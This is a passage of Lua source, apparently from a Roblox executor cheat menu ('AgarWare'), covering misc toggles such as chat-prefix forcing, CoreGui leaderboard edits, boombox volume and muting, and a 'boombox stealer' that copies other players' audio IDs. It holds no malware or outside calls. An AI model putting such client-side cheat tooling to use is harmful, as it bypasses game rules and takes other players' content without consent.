	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local stroke = Instance.new("UIStroke", tooltipFrame)
	stroke.Color = Color3.fromRGB(57, 57, 57)
	
	local padding = Instance.new("UIPadding", tooltipFrame)
	padding.PaddingTop    = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft   = UDim.new(0, 6)
	padding.PaddingRight  = UDim.new(0, 6)
	
	local label = Instance.new("TextLabel")
	label.BackgroundTransparency = 1
	label.Text = "Automatically equips enlighten when you type anything in chat without having to equip it manually."
	label.TextColor3 = Color3.new(1, 1, 1)
	label.TextSize = 14
	label.TextXAlignment = Enum.TextXAlignment.Left
	label.TextYAlignment = Enum.TextYAlignment.Top
	label.Font = Enum.Font.GothamSemibold
	label.TextWrapped = true
	label.Size = UDim2.new(0, 200, 0, 0)
	label.AutomaticSize = Enum.AutomaticSize.Y
	label.ZIndex = 101
	label.Parent = tooltipFrame
	
	AutoEnliTickBox.MouseEnter:Connect(function()
		local abs = AutoEnliTickBox.AbsolutePosition
		local size = AutoEnliTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	AutoEnliTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_263);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixScript
local function C_267()
local script = G2L["267"];
	local ChatFixRow = script.Parent
	local MiscGroup = ChatFixRow.Parent
	local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
	local ChatFixTickBox = ChatFixRow:WaitForChild("ChatFixTickBox")
	
	--------------------------------------------------
	-- CHAT FIX FUNCTION
	--------------------------------------------------
	local isEnabled = false
	
	function say(text, channel)
		coroutine.wrap(function()
			if isEnabled then
				-- Chat fix ON: force ; prefix and RBXGeneral
				if string.sub(text, 1, 1) ~= ";" then
					text = ";" .. text
				end
				game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(text)
			else
				-- Chat fix OFF: normal behavior
				if channel and channel:lower() == "system" then
					if string.sub(text, 1, 1) ~= ";" then
						text = ";" .. text
					end
					game:GetService("TextChatService").TextChannels.RBXSystem:SendAsync(text)
				else
					game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(text)
				end
			end
		end)()
	end
	
	--------------------------------------------------
	-- ENABLE STATE
	--------------------------------------------------
	ChatFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	ChatFixTickBox.MouseButton1Click:Connect(function()
		isEnabled = not isEnabled
	
		if isEnabled then
			ChatFixTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
		else
			ChatFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	end)
	
	--------------------------------------------------
	-- TOOLTIP
	--------------------------------------------------
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local stroke = Instance.new("UIStroke", tooltipFrame)
	stroke.Color = Color3.fromRGB(57, 57, 57)
	
	local padding = Instance.new("UIPadding", tooltipFrame)
	padding.PaddingTop = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft = UDim.new(0, 6)
	padding.PaddingRight = UDim.new(0, 6)
	
	local label = Instance.new("TextLabel")
	label.BackgroundTransparency = 1
	label.Text = "Forces all messages to use general chat with ; prefix. Credits to Mental for making this (ugly fix)."
	label.TextColor3 = Color3.new(1, 1, 1)
	label.TextSize = 14
	label.TextXAlignment = Enum.TextXAlignment.Left
	label.TextYAlignment = Enum.TextYAlignment.Top
	label.Font = Enum.Font.GothamSemibold
	label.TextWrapped = true
	label.Size = UDim2.new(0, 200, 0, 0)
	label.AutomaticSize = Enum.AutomaticSize.Y
	label.ZIndex = 101
	label.Parent = tooltipFrame
	
	ChatFixTickBox.MouseEnter:Connect(function()
		local abs = ChatFixTickBox.AbsolutePosition
		local size = ChatFixTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	ChatFixTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_267);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBScript
local function C_26b()
local script = G2L["26b"];
	-- Leaderboard Enlighten Star Script
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local CoreGui = game:GetService("CoreGui")
	local Workspace = game:GetService("Workspace")
	
	local EnliLBRow = script.Parent
	local MiscGroup = EnliLBRow.Parent
	local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
	local EnliLBTickBox = EnliLBRow:WaitForChild("EnliLBTickBox")
	
	local isEnabled = false
	
	--------------------------------------------------
	-- ENABLE STATE
	--------------------------------------------------
	EnliLBTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	EnliLBTickBox.MouseButton1Click:Connect(function()
		isEnabled = not isEnabled
	
		if isEnabled then
			EnliLBTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
		else
			EnliLBTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	end)
	
	--------------------------------------------------
	-- TOOLTIP
	--------------------------------------------------
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local stroke = Instance.new("UIStroke", tooltipFrame)
	stroke.Color = Color3.fromRGB(57, 57, 57)
	
	local padding = Instance.new("UIPadding", tooltipFrame)
	padding.PaddingTop = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft = UDim.new(0, 6)
	padding.PaddingRight = UDim.new(0, 6)
	
	local label = Instance.new("TextLabel")
	label.BackgroundTransparency = 1
	label.Text = "Shows a 🌟 next to enlightened players names on the leaderboard."
	label.TextColor3 = Color3.new(1, 1, 1)
	label.TextSize = 14
	label.TextXAlignment = Enum.TextXAlignment.Left
	label.TextYAlignment = Enum.TextYAlignment.Top
	label.Font = Enum.Font.GothamSemibold
	label.TextWrapped = true
	label.Size = UDim2.new(0, 200, 0, 0)
	label.AutomaticSize = Enum.AutomaticSize.Y
	label.ZIndex = 101
	label.Parent = tooltipFrame
	
	EnliLBTickBox.MouseEnter:Connect(function()
		local abs = EnliLBTickBox.AbsolutePosition
		local size = EnliLBTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	EnliLBTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
	
	--------------------------------------------------
	-- ARKENSTONE CHECK
	--------------------------------------------------
	local function hasArkenstone(player)
		-- Check backpack
		local backpack = player:FindFirstChild("Backpack")
		if backpack and backpack:FindFirstChild("The Arkenstone") then
			return true
		end
	
		-- Check character in workspace
		local character = Workspace:FindFirstChild(player.Name)
		if character and character:FindFirstChild("The Arkenstone") then
			return true
		end
	
		return false
	end
	
	--------------------------------------------------
	-- UPDATE LEADERBOARD NAMES
	--------------------------------------------------
	local originalNames = {} -- Store original names
	
	local function updatePlayerNames()
		if not isEnabled then
			-- Remove all stars when disabled
			local PlayerList = CoreGui:FindFirstChild("PlayerList")
			if not PlayerList then return end
	
			pcall(function()
				local ScrollingFrame = PlayerList.Children.OffsetFrame.PlayerScrollList.SizeOffsetFrame.ScrollingFrameContainer.ScrollingFrameClippingFrame.ScrollingFrame.OffsetUndoFrame
	
				for _, teamList in pairs(ScrollingFrame:GetChildren()) do
					if teamList.Name:match("^TeamList_") then
						for _, child in pairs(teamList:GetChildren()) do
							if child.Name:match("^PlayerEntry_") then
								local userId = tonumber(child.Name:match("PlayerEntry_(%d+)"))
								if userId then
									local contentFrame = child:FindFirstChild("PlayerEntryContentFrame")
									if contentFrame then
										local overlayFrame = contentFrame:FindFirstChild("OverlayFrame")
										if overlayFrame then
											local nameFrame = overlayFrame:FindFirstChild("NameFrame")
											if nameFrame then
												local playerNameFrame = nameFrame:FindFirstChild("PlayerName")
												if playerNameFrame then
													local playerNameLabel = playerNameFrame:FindFirstChild("PlayerName")
													if playerNameLabel and playerNameLabel:IsA("TextLabel") then
														-- Remove star
														playerNameLabel.Text = playerNameLabel.Text:gsub("^🌟 ", "")
													end
												end
											end
										end
									end
								end
							end
						end
					end
				end
			end)
			return
		end
	
		-- Add stars when enabled
		local PlayerList = CoreGui:FindFirstChild("PlayerList")
		if not PlayerList then return end
	
		pcall(function()
			local ScrollingFrame = PlayerList.Children.OffsetFrame.PlayerScrollList.SizeOffsetFrame.ScrollingFrameContainer.ScrollingFrameClippingFrame.ScrollingFrame.OffsetUndoFrame
	
			for _, teamList in pairs(ScrollingFrame:GetChildren()) do
				if teamList.Name:match("^TeamList_") then
					for _, child in pairs(teamList:GetChildren()) do
						if child.Name:match("^PlayerEntry_") then
							local userId = tonumber(child.Name:match("PlayerEntry_(%d+)"))
							if userId then
								local player = Players:GetPlayerByUserId(userId)
								if player then
									local contentFrame = child:FindFirstChild("PlayerEntryContentFrame")
									if contentFrame then
										local overlayFrame = contentFrame:FindFirstChild("OverlayFrame")
										if overlayFrame then
											local nameFrame = overlayFrame:FindFirstChild("NameFrame")
											if nameFrame then
												local playerNameFrame = nameFrame:FindFirstChild("PlayerName")
												if playerNameFrame then
													local playerNameLabel = playerNameFrame:FindFirstChild("PlayerName")
													if playerNameLabel and playerNameLabel:IsA("TextLabel") then
														if hasArkenstone(player) then
															-- Add star if not already there
															if not playerNameLabel.Text:match("^🌟") then
																playerNameLabel.Text = "🌟 " .. playerNameLabel.Text
															end
														else
															-- Remove star if present
															playerNameLabel.Text = playerNameLabel.Text:gsub("^🌟 ", "")
														end
													end
												end
											end
										end
									end
								end
							end
						end
					end
				end
			end
		end)
	end
	
	-- Update every second
	task.spawn(function()
		while true do
			updatePlayerNames()
			task.wait(1)
		end
	end)
	
	updatePlayerNames()
end;
task.spawn(C_26b);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixScript
local function C_26f()
local script = G2L["26f"];
	local BkitUIFixRow = script.Parent
	local MiscGroup = BkitUIFixRow.Parent
	local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
	local BkitUIFixTickBox = BkitUIFixRow:WaitForChild("BkitUIFixTickBox")
	
	local RunService = game:GetService("RunService")
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local TOOLS = {"Build", "Paint", "Shape", "Shovel"}
	
	--------------------------------------------------
	-- BKIT UI FIX
	--------------------------------------------------
	local isEnabled = false
	local heartbeatConn = nil
	
	local function updateUI()
		local character = workspace:FindFirstChild(LocalPlayer.Name)
		local playerGui = LocalPlayer.PlayerGui
		for _, toolName in ipairs(TOOLS) do
			local gui = playerGui:FindFirstChild(toolName)
			if gui then
				local shouldBeEnabled = character ~= nil and character:FindFirstChild(toolName) ~= nil
				if gui.Enabled ~= shouldBeEnabled then
					gui.Enabled = shouldBeEnabled
				end
			end
		end
	end
	
	--------------------------------------------------
	-- ENABLE STATE
	--------------------------------------------------
	BkitUIFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	BkitUIFixTickBox.MouseButton1Click:Connect(function()
		isEnabled = not isEnabled
		if isEnabled then
			BkitUIFixTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
			heartbeatConn = RunService.Heartbeat:Connect(updateUI)
		else
			BkitUIFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
			if heartbeatConn then
				heartbeatConn:Disconnect()
				heartbeatConn = nil
			end
			local playerGui = LocalPlayer.PlayerGui
			for _, toolName in ipairs(TOOLS) do
				local gui = playerGui:FindFirstChild(toolName)
				if gui then
					gui.Enabled = false
				end
			end
		end
	end)
	
	--------------------------------------------------
	-- TOOLTIP
	--------------------------------------------------
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local stroke = Instance.new("UIStroke", tooltipFrame)
	stroke.Color = Color3.fromRGB(57, 57, 57)
	
	local padding = Instance.new("UIPadding", tooltipFrame)
	padding.PaddingTop = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft = UDim.new(0, 6)
	padding.PaddingRight = UDim.new(0, 6)
	
	local label = Instance.new("TextLabel")
	label.BackgroundTransparency = 1
	label.Text = "Fixes bkit UI if it gets stuck on ur screen."
	label.TextColor3 = Color3.new(1, 1, 1)
	label.TextSize = 14
	label.TextXAlignment = Enum.TextXAlignment.Left
	label.TextYAlignment = Enum.TextYAlignment.Top
	label.Font = Enum.Font.GothamSemibold
	label.TextWrapped = true
	label.Size = UDim2.new(0, 200, 0, 0)
	label.AutomaticSize = Enum.AutomaticSize.Y
	label.ZIndex = 101
	label.Parent = tooltipFrame
	
	BkitUIFixTickBox.MouseEnter:Connect(function()
		local abs = BkitUIFixTickBox.AbsolutePosition
		local size = BkitUIFixTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	BkitUIFixTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
			if heartbeatConn then
				heartbeatConn:Disconnect()
				heartbeatConn = nil
			end
		end
	end)
end;
task.spawn(C_26f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxScript
local function C_273()
local script = G2L["273"];
	local BoomboxGroup = script.Parent
	local BoomboxMinimize = BoomboxGroup.BoomboxTitle.BoomboxMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(BoomboxGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = BoomboxGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	BoomboxMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			BoomboxGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			BoomboxMinimize.Text = "+"
		else
			BoomboxGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			BoomboxMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_273);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTooltip
local function C_274()
local script = G2L["274"];
	-- ============================================================
	-- BOOMBOX GROUP TOOLTIP SCRIPT
	-- ============================================================
	local BoomboxGroup = script.Parent
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then
				return p
			end
			p = p.Parent
		end
	end
	local ScreenGui = getScreenGui()
	if not ScreenGui then return end
	-- ============================================================
	-- FIND UI REFERENCES
	-- ============================================================
	local function findDescendant(name)
		for _, v in pairs(ScreenGui:GetDescendants()) do
			if v.Name == name then
				return v
			end
		end
	end
	local BoomVolTickBox = findDescendant("BoomVolTickBox")
	local MuteTacoTickBox = findDescendant("MuteTacoTickBox")
	local ClickBoomTickBox = findDescendant("ClickBoomTickBox")
	local AutoPlayTickBox = findDescendant("AutoPlayTickBox")
	local DisableBoomboxTickBox = findDescendant("DisableBoomboxTickBox")
	-- ============================================================
	-- TOOLTIP BUILDER
	-- ============================================================
	local function makeTooltip(text)
		local frame = Instance.new("Frame")
		frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = ScreenGui
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57,57,57)
		stroke.Parent = frame
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0,6)
		padding.PaddingBottom = UDim.new(0,6)
		padding.PaddingLeft = UDim.new(0,6)
		padding.PaddingRight = UDim.new(0,6)
		padding.Parent = frame
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1,1,1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0,200,0,0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
		return frame
	end
	local function hookTooltip(button, tooltipFrame)
		if not button then return end
		button.MouseEnter:Connect(function()
			local abs = button.AbsolutePosition
			local size = button.AbsoluteSize
			tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltipFrame.Visible = true
		end)
		button.MouseLeave:Connect(function()
			tooltipFrame.Visible = false
		end)
	end
	-- ============================================================
	-- CREATE TOOLTIPS
	-- ============================================================
	local boomVolTooltip = makeTooltip(
		"Controls the volume of all boomboxes.\n\n100 = default)\n0 = mute boomboxes"
	)
	local muteTacoTooltip = makeTooltip(
		"Mutes the raining tacos sound bc its annoying."
	)
	local clickBoomTooltip = makeTooltip(
		"If you click a boombox, it would log and copy the audio ID to your clipboard.\nBasically a boombox stealer if thats what you call it."
	)
	local autoPlayTooltip = makeTooltip(
		"Automatically plays the ID set in the field without having to use the boombox UI.\nIt also plays the audio as soon as you equip boombox."
	)
	local disableBoomboxTooltip = makeTooltip(
		"Disables the boombox UI."
	)
	-- ============================================================
	-- HOOK THEM
	-- ============================================================
	hookTooltip(BoomVolTickBox, boomVolTooltip)
	hookTooltip(MuteTacoTickBox, muteTacoTooltip)
	hookTooltip(ClickBoomTickBox, clickBoomTooltip)
	hookTooltip(AutoPlayTickBox, autoPlayTooltip)
	hookTooltip(DisableBoomboxTickBox, disableBoomboxTooltip)
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			boomVolTooltip:Destroy()
			muteTacoTooltip:Destroy()
			clickBoomTooltip:Destroy()
			autoPlayTooltip:Destroy()
			disableBoomboxTooltip:Destroy()
		end
	end)
end;
task.spawn(C_274);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolScript
local function C_27a()
local script = G2L["27a"];
	local BoomVolRow = script.Parent
	local BoomVolTickBox = BoomVolRow:WaitForChild("BoomVolTickBox")
	local BoomVolChanger = BoomVolRow:WaitForChild("BoomVolChanger")
	
	local function getAccentColor()
		local BoomboxGroup = BoomVolRow.Parent
		local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor")
		if a then
			return a.BackgroundColor3
		else
			return Color3.new(1, 1, 1)
		end
	end
	
	-- State
	local isEnabled = false
	local currentVolume = 100  -- Default 100 = 1.0 in Roblox
	
	-- ============================================================
	-- TOGGLE
	-- ============================================================
	local function toggle()
		isEnabled = not isEnabled
	
		if isEnabled then
			BoomVolTickBox.BackgroundColor3 = getAccentColor()
			-- Apply current volume from changer to all boomboxes
			applyVolumeToAll()
		else
			BoomVolTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
			-- Reset all boomboxes to default Roblox volume (1.0)
			resetVolumeToDefault()
		end
	end
	
	-- ============================================================
	-- CLICK HANDLER
	-- ============================================================
	BoomVolTickBox.MouseButton1Click:Connect(toggle)
	
	-- ============================================================
	-- VOLUME CONVERSION (User Input -> Roblox Volume)
	-- ============================================================
	local function convertToRobloxVolume(userVolume)
		-- User: 100 = Roblox: 1.0
		-- User: 10 = Roblox: 0.1
		-- User: 1 = Roblox: 0.01
		-- User: 200 = Roblox: 2.0
		return userVolume / 100
	end
	
	-- ============================================================
	-- FIND ALL BOOMBOXES IN WORKSPACE
	-- ============================================================
	local function findAllBoomboxes()
		local boomboxes = {}
	
		for _, item in ipairs(game.Workspace:GetDescendants()) do
			if item.Name == "SuperFlyGoldBoombox" and item:IsA("Tool") then
				local handle = item:FindFirstChild("Handle")
				if handle then
					local sound = handle:FindFirstChild("Sound")
					if sound and sound:IsA("Sound") then
						table.insert(boomboxes, sound)
					end
				end
			end
		end
	
		return boomboxes
	end
	
	-- ============================================================
	-- APPLY VOLUME TO ALL BOOMBOXES
	-- ============================================================
	function applyVolumeToAll()
		if not isEnabled then return end
	
		local robloxVolume = convertToRobloxVolume(currentVolume)
		local boomboxes = findAllBoomboxes()
	
		-- Check if MuteTaco is enabled
		local BoomboxGroup = BoomVolRow.Parent
		local MuteTacoRow = BoomboxGroup:FindFirstChild("MuteTacoRow")
		local muteTacoEnabled = MuteTacoRow and MuteTacoRow:GetAttribute("MuteTacoEnabled") == true
		local TARGET_AUDIO_ID = "142376088"
	
		for _, sound in ipairs(boomboxes) do
			-- Skip if MuteTaco is on and this is the taco song
			if muteTacoEnabled and string.find(sound.SoundId or "", TARGET_AUDIO_ID) then
				-- Don't change volume for muted taco song
			else
				sound.Volume = robloxVolume
			end
		end
	
		print("[BoomVol] Set", #boomboxes, "boomboxes to volume", currentVolume, "(Roblox:", robloxVolume .. ")")
	end
	
	-- ============================================================
	-- RESET VOLUME TO DEFAULT (1.0)
	-- ============================================================
	local function resetVolumeToDefault()
		local boomboxes = findAllBoomboxes()
	
		for _, sound in ipairs(boomboxes) do
			sound.Volume = 1.0
		end
	
		print("[BoomVol] Reset", #boomboxes, "boomboxes to default volume (1.0)")
	end
	
	-- ============================================================
	-- VOLUME CHANGER INPUT
	-- ============================================================
	BoomVolChanger.FocusLost:Connect(function(enterPressed)
		local text = BoomVolChanger.Text
		local number = tonumber(text)
	
		if number then
			-- Clamp between 0 and 1000
			number = math.clamp(number, 0, 1000)
			currentVolume = number
			BoomVolChanger.Text = tostring(math.floor(number))
	
			-- Apply volume if enabled
			if isEnabled then
				applyVolumeToAll()
			end
		else
			-- Reset to current volume if invalid
			BoomVolChanger.Text = tostring(currentVolume)
		end
	end)
	
	-- ============================================================
	-- WATCH FOR NEW BOOMBOXES
	-- ============================================================
	local function watchForNewBoomboxes()
		game.Workspace.DescendantAdded:Connect(function(descendant)
			if not isEnabled then return end
	
			-- Check if it's a boombox sound
			if descendant.Name == "Sound" and descendant:IsA("Sound") then
				local handle = descendant.Parent
				if handle and handle.Name == "Handle" then
					local boombox = handle.Parent
					if boombox and boombox.Name == "SuperFlyGoldBoombox" then
						-- Apply current volume to new boombox
						local robloxVolume = convertToRobloxVolume(currentVolume)
						descendant.Volume = robloxVolume
						print("[BoomVol] New boombox detected - set volume to", currentVolume)
					end
				end
			end
		end)
	end
	
	task.spawn(watchForNewBoomboxes)
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	BoomVolTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	BoomVolChanger.Text = "100"
	
	print("[BoomVol] OFF by default - Default volume: 100")
end;
task.spawn(C_27a);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoScript
local function C_27f()
local script = G2L["27f"];
	local MuteTacoRow = script.Parent
	local MuteTacoTickBox = MuteTacoRow:WaitForChild("MuteTacoTickBox")
	
	local function getAccentColor()
		local BoomboxGroup = MuteTacoRow.Parent
		local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor")
		if a then
			return a.BackgroundColor3
		else
			return Color3.new(1, 1, 1)
		end
	end
	
	-- State
	local isEnabled = false
	local TARGET_AUDIO_ID = "142376088"
	local originalVolumes = {}  -- Store original volumes
	
	-- ============================================================
	-- TOGGLE
	-- ============================================================
	local function toggle()
		isEnabled = not isEnabled
	
		if isEnabled then
			MuteTacoTickBox.BackgroundColor3 = getAccentColor()
			MuteTacoRow:SetAttribute("MuteTacoEnabled", true)
			muteTargetAudio()
		else
			MuteTacoTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
			MuteTacoRow:SetAttribute("MuteTacoEnabled", false)
			unmuteTargetAudio()
		end
	end
	
	MuteTacoTickBox.MouseButton1Click:Connect(toggle)
	
	-- ============================================================
	-- CHECK IF SOUND HAS TARGET AUDIO ID
	-- ============================================================
	local function isTargetAudio(sound)
		if not sound or not sound:IsA("Sound") then return false end
	
		local soundId = sound.SoundId
		-- Check if SoundId contains the target ID
		return string.find(soundId, TARGET_AUDIO_ID) ~= nil
	end
	
	-- ============================================================
	-- FIND ALL SOUNDS IN WORKSPACE
	-- ============================================================
	local function findAllSounds()
		local sounds = {}
	
		for _, descendant in ipairs(game.Workspace:GetDescendants()) do
			if descendant:IsA("Sound") then
				table.insert(sounds, descendant)
			end
		end
	
		return sounds
	end
	
	-- ============================================================
	-- MUTE TARGET AUDIO
	-- ============================================================
	function muteTargetAudio()
		local sounds = findAllSounds()
		local mutedCount = 0
	
		for _, sound in ipairs(sounds) do
			if isTargetAudio(sound) then
				-- Store original volume
				originalVolumes[sound] = sound.Volume
				-- Mute it
				sound.Volume = 0
				mutedCount = mutedCount + 1
			end
		end
	
		print("[MuteTaco] Muted", mutedCount, "sounds with ID", TARGET_AUDIO_ID)
	end
	
	-- ============================================================
	-- UNMUTE TARGET AUDIO
	-- ============================================================
	function unmuteTargetAudio()
		local sounds = findAllSounds()
		local unmutedCount = 0
	
		-- Check if BoomVol is enabled and get its volume
		local BoomboxGroup = MuteTacoRow.Parent
		local BoomVolRow = BoomboxGroup:FindFirstChild("BoomVolRow")
		local boomVolEnabled = false
		local boomVolValue = 100
	
		if BoomVolRow then
			local BoomVolChanger = BoomVolRow:FindFirstChild("BoomVolChanger")
			local BoomVolTickBox = BoomVolRow:FindFirstChild("BoomVolTickBox")
	
			if BoomVolChanger then
				boomVolValue = tonumber(BoomVolChanger.Text) or 100
			end
	
			-- Check if BoomVol tickbox is on (has accent color, not black)
			if BoomVolTickBox then
				local tickColor = BoomVolTickBox.BackgroundColor3
				boomVolEnabled = tickColor ~= Color3.new(0, 0, 0)
			end
		end
	
		local targetVolume
		if boomVolEnabled then
			-- Use BoomVol volume
			targetVolume = boomVolValue / 100
		else
			-- Use default 1.0
			targetVolume = 1.0
		end
	
		for _, sound in ipairs(sounds) do
			if isTargetAudio(sound) then
				-- Restore to BoomVol volume or default
				sound.Volume = targetVolume
				originalVolumes[sound] = nil
				unmutedCount = unmutedCount + 1
			end
		end
	
		print("[MuteTaco] Unmuted", unmutedCount, "sounds to volume", targetVolume)
	end
	
	-- ============================================================
	-- WATCH FOR NEW SOUNDS
	-- ============================================================
	local function watchForNewSounds()
		game.Workspace.DescendantAdded:Connect(function(descendant)
			if not isEnabled then return end
	
			if descendant:IsA("Sound") and isTargetAudio(descendant) then
				-- Store original and mute
				originalVolumes[descendant] = descendant.Volume
				descendant.Volume = 0
				print("[MuteTaco] New sound detected with target ID - muted")
			end
		end)
	
		-- Watch for SoundId changes on all sounds
		game.Workspace.DescendantAdded:Connect(function(descendant)
			if descendant:IsA("Sound") then
				descendant:GetPropertyChangedSignal("SoundId"):Connect(function()
					if isEnabled then
						if isTargetAudio(descendant) then
							-- Changed TO target ID - mute it
							originalVolumes[descendant] = descendant.Volume
							descendant.Volume = 0
							print("[MuteTaco] Sound changed to target ID - muted")
						else
							-- Changed AWAY from target ID - unmute to BoomVol volume
							if originalVolumes[descendant] then
								-- Check BoomVol settings
								local BoomboxGroup = MuteTacoRow.Parent
								local BoomVolRow = BoomboxGroup:FindFirstChild("BoomVolRow")
								local boomVolEnabled = false
								local boomVolValue = 100
	
								if BoomVolRow then
									local BoomVolChanger = BoomVolRow:FindFirstChild("BoomVolChanger")
